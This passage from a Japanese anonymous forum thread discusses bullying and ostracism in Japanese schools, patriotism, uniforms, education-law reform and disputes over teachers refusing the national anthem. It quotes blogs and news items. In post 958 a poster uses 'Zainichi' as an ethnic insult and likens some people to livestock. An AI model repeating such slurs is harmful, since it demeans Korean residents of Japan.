951 :名無しさんの主張:2006/12/30(土) 18:59:53 ID:???
サリタのヒーリングジャーニー 下

  小学校を卒業するまでほとんどいじめられ、振りまわされました。日本の子供社会の
恐ろしさを知り、枠にがっちりはめられて何もみようとしない大人社会のいくじなさを知り、
自分のなかで、日本という象徴的な故郷がガラガラと崩れ去りました。あまりの幻滅に
すっかり日本が嫌いになりましたね。ことあるごとに自分の中て゛アメリカと日本を比較して
日本のアカン所を探そうとして躍起になってました。テレビを見てる時も外にいる時も
アメリカではこうだったああだったのにとくらべてばかりいて、どこにいても自分の内側では
二つの故郷が戦争状態にいました。寝ても覚めても、四六時中。しかもそれから何年も。

日本の学校で思うこと

  思うに、日本人には両親からのコンディショニングをみるよりも、学校でどう生きねば
ならなかった事を見た方が色々出てくるんじゃないかと思います。家庭内のドラマより強烈に
植え付けられるものってあったと思います。そこで麻痺したり凍りついてしまった感情とか。
西洋での学校社会はもっと淡白なもので、日本みたいに一丸になって何かをするという
家族的というか軍隊的な要素はあまりなかった。家族が生活の中心だから。でも日本の学校は
第二の家庭生活のようで、だから学校で排除されたら生死に関わってくる感じですよ。
一日のほとんどを学校で過ごし、給食やら掃除やらで常に集団行動をとらされ、遠足や運動会
その他でお互いの親睦を深める事を強要されます。感情表現さえも自分のものではなく、
クラスの雰囲気で決める..。学校という「昼間の家庭」にいる子供は自分の安全を確保するために
1人きりで右往左往しなければならなく、みんなよるすべのない孤児みたいに不安定でした。
すくなくとも私のいた学校はそうだったと思います。

http://now.ohah.net/faree/sarita1.html


952 :名無しさんの主張:2007/01/15(月) 23:36:46 ID:???
日本に特有のイジメ 上

ナルニア国へ☆Candy's Diary☆ 2006年11月14日

外国では、派手に大声でけんかしたり、集団でなぐったりと、警察沙汰になるようなのが、イジメらしい。
だから、いじめている人を指導すれが解決する。
でも、外国にはない日本特有のイジメが、
「村八分(むらはちぶ)」的な、仲間外し、
一見他の人にはわからないようにする、陰で嫌がらせをする、
だから、誰が犯人かもはっきりせず、集団心理、クラスの雰囲気みたいになって、一人一人はとても
いい人なのに、いつのまにか、知らず知らずにイジメをしているっていうことがあるんです。
これは、かなり根が深くて、歴史的に見ると、人間が集団で生きるというのは、とても大変なことです。
だから、集団で生きるためのいろいろな知恵を働かせてきました。
それで、「村八分(仲間外し)」が、あるほうが集団は非常に安定する。一人二人を、仲間はずしにして
みんなで悪口を言っている方が、大勢のみんなが仲良くなるわけです。もちろん、これは間違ったやり方です。
敵もいない、仲間外しもない集団が、みんな気持ちよくつきあえて、集団として安定するというのは、
とてもとてもむずかしいことです。
これは、大人の集団でも、そうなんです。


953 :名無しさんの主張:2007/01/15(月) 23:41:22 ID:???
日本に特有のイジメ 下

また、日本は、グループ社会なので、どこかのグループに入っていないと、とても孤独で、
仲間はずしのターゲットになります。
また、強い集団に入っていると、「勝ち組(良くない言葉です!!)」の快感があって、
他の人に優越感を抱くのが気持ちがいいのです。
でも、それは、他のグループをバカにしたり、悪口を言ったりして成り立っているのですから、
本当に危ない集団です。
いつ、自分がその集団から、仲間はずしになるかわからないという、恐怖感がいっそう、
集団の一体感を増しています。
でも、気持ちのいい開かれた集団は、もちろん作ることができます。
だれかを仲間はずしにして、犠牲にすることなく、
おとなしい人もいれば、元気な人もいる、いろんな人がいる、
だれもの違いを認め、楽しみ、豊かな集団を作る
それが、強いグループにいて、優越感を持っている人にとっても
今より、もっと楽しい人間関係を作る道なのです。
みなさんのまわりに、ひとりぼっちの人はいませんか???
みんなが同じではなく、
みんなが違っていて楽しい☆
そんな集団作りをしていきましょう(*^_^*) (by 河合隼雄)」

http://plaza.rakuten.co.jp/candyfantasy/diary/200611140000/


954 :名無しさんの主張:2007/01/15(月) 23:54:00 ID:???
>日本が外国の侵略を受けたらどうしますか」との質問に接し、高校生の56%が「逃げる」「降参する」と答えたという

日本の若者は正直なものだね。
日本は守る価値も無いと思っている人が多いと言うことだ。
これは国を愛する教育をしなかったからではなくて、政治家が腐り、警察が公金を横領し、
公務員が立場を悪用して私腹を肥やし、金持ちの税金を安くする為に消費税率を上げて庶民から搾り取る、
政治行政が腐り切っていることが原因だ。

一般的に国とは政府を指すからね。
そんなクズの為に命を投げ出すバカはいないと言うことだw

人それぞれ国の持つ意味が違うだろう。それをどう捉えるかで答えが変わってくる。
政府を指すのか国土を指すのか自由民主主義体制を指すのかただ漠然とした郷土を指すのか
自分の社会的地位を維持している体制を指すのか一部狂信者にとっては天皇を指したりもする。

日本は自由民主主義平和憲法によって成り立つ国だ。
ところが、学校教育において、自由とは何か民主主義とは何かについて全く教育していない。
民主主義とは多数決だと教えてきた向きもある。そこに戦後教育の瑕疵がある。
自由を尊び、民主主義を標榜し平和を愛する心を養う教育を始めなければならない。
そして、自由と民主主義平和を愛する心を持った人々の集まった国が日本であることをキチンと教える事だね。
それから政治行政の腐敗を一掃すること。そうしたら、外国が攻めて来たら80%の者が武器を取って戦うと答えるようになるだろう。

天皇万歳のロボットとしてではなく、自由と民主主義を守る為に自発的に戦うと言うことだ。

教育基本法では個人の尊厳を重んずるとあるが、日本の教育現場ではそれはして来なかったと思う。
一番良い例が制服だ。
制服は没個人、管理に盲従する人間を作り出すものだ。
口では個人の尊厳と言いながらやっていることは没個人教育だった。
これが日本の戦後教育のチグハグな例だ。
要するに個人の尊厳とか自由とか言いながら、それを教える側の人間がよく分かっていなかったというのが原因だ。
まずこの辺から改めて行く事だな。


955 :名無しさんの主張:2007/01/16(火) 01:01:27 ID:???
文句ばっか言ってる奴が多いんだな。人の文句しかいわない奴って
実際の社会でも同じだけど、自分からは何も行動しない奴が多いよな。

民主主義が多数決なのは当然だよ。
天皇万歳というが戦後日教組はその反対をずっと教えてきたんだろ?
戦後の教育を主導したのは日教組であり国ではない。今の閉塞感がある
のは日教組のせいだ。組織率がおちてんのもわかるだろ?

また戦後、国を作るのは国民であって一部の特権階級ではない。
日本は共産主義ではなく、民主主義なのだから。
国がくずという奴は、他力本願でもっとくずな奴が多い。

そもそも制服だけでつぶれる個性なんてそんなもん個性じゃねーだろ?
私服になったら個性的な奴が増えるってか?
脳みそハッピーな奴が多くて困るな。あー、くだらねー。
第一制服でどういう個性がつぶされるんだ???
ステレオタイプ的な発想から早く脱却したほうがいい。


956 :名無しさんの主張:2007/01/16(火) 08:33:38 ID:5P3lrcrx
多数決人間は自己中の集まり

957 :名無しさんの主張:2007/01/16(火) 08:49:01 ID:iGIYreb2
>>953
なるほどね これって日本固有とも思えないけど自己中人間の集まりだと
常に他の誰かを見下してるところはあるね。

958 :名無しさんの主張:2007/01/22(月) 22:11:03 ID:???
>>955って何にも知らないんだなw

>民主主義が多数決なのは当然だよ

フセイン時代のイラクにも北朝鮮にも選挙はある。多数決だ。
それで、民主主義か?
多数決だけが民主主義じゃないんだよ。

>天皇万歳というが戦後日教組はその反対をずっと教えてきたんだろ

キミ、学校行ったことないの?
それとも在日?

>制服

キミ自由とか民主主義とか全然分からないだろ。
制服は一例に過ぎないわけだが、お仕着せのものを強要されておかしいと思わない?
自ら自由を求める気持ちのない人間、自由を自ら拒む者は、どん百姓出身と言うか家畜と同じだから自由を与える価値はない。
個性云々言ってるが、そう言うことじゃないだろw
まず読解力を付けた方が良いな。


959 :名無しさんの主張:2007/01/22(月) 23:00:54 ID:???
教育基本法改悪って、電化製品買って来てコンセントにプラグ差し込まないで、
ツカナイつかない言って買い換える馬鹿と同じだったねw


960 :名無しさんの主張:2007/02/10(土) 22:37:51 ID:???
★国旗・国歌斉唱拒否で処分、都立校教員ら都を賠償提訴

 入学式や卒業式で国旗に向かっての起立や国歌斉唱を拒否し、
東京都教育委員会から懲戒処分を受けた都立学校の教職員ら計173人が、
処分取り消しと1人当たり55万円の損害賠償を求める訴えを9日、東京地裁に起こした。

 訴状によると、都教委は2003年10月、学校長に式典での国旗掲揚や国歌斉唱、
ピアノ伴奏を通達。原告らは翌年春の卒業式などで、校長の職務命令に
従わなかったとして、戒告や減給処分を受けた。

 原告側は「通達や懲戒処分は思想・良心や信教の自由を定めた憲法違反」としている。(07:00)

日経新聞 http://www.nikkei.co.jp/news/shakai/20070210AT1G0902C09022007.html


961 :名無しさんの主張:2007/02/12(月) 18:00:38 ID:C4ofglpa
建国記念の日:日の丸・君が代の強制許さない 各地で集会や式典 /広島

 改正教育基本法の成立後初の「建国記念の日」を迎えた11日、広島市内では同法に反対して
記念の日の意義を問う市民グループと、同法に賛成して建国を祝う人たちがそれぞれ集会や式典を開いた。

 ■教基法反対−−市民グループ集会
 中区八丁堀のYMCA国際文化ホールでは、市民グループ「教育基本法改悪反対!ヒロシマ実行委員会」
(由木栄司委員長)が集会を開き、約200人が参加した=写真。06年の卒業式で「君が代」斉唱の際に
起立せずに東京都教委から停職3カ月の処分を受けながらも、毎日校門前で生徒に声を掛け続けた町田市立
鶴川第2中学校の根津公子教諭(56)が講演したほか、被爆者の沼田鈴子さんのメッセージなども披露された。
 根津教諭は、教育現場で「日の丸・君が代」の成り立ちなどについて教えることさえ禁止されている現状を説明。
「不起立は、『日の丸・君が代』に疑問を持つことさえ許されなかった子どもたちに、多様な考えに触れる契機に
なっている」と指摘し、「教育基本法は改悪されたが、現場でも改悪を通させてはいけない。広島でもさらに教員に
呼びかけて、不起立の風を巻き起こしてほしい」と訴えた。
<抜粋>                  http://headlines.yahoo.co.jp/hl?a=20070212-00000210-mailo-l34

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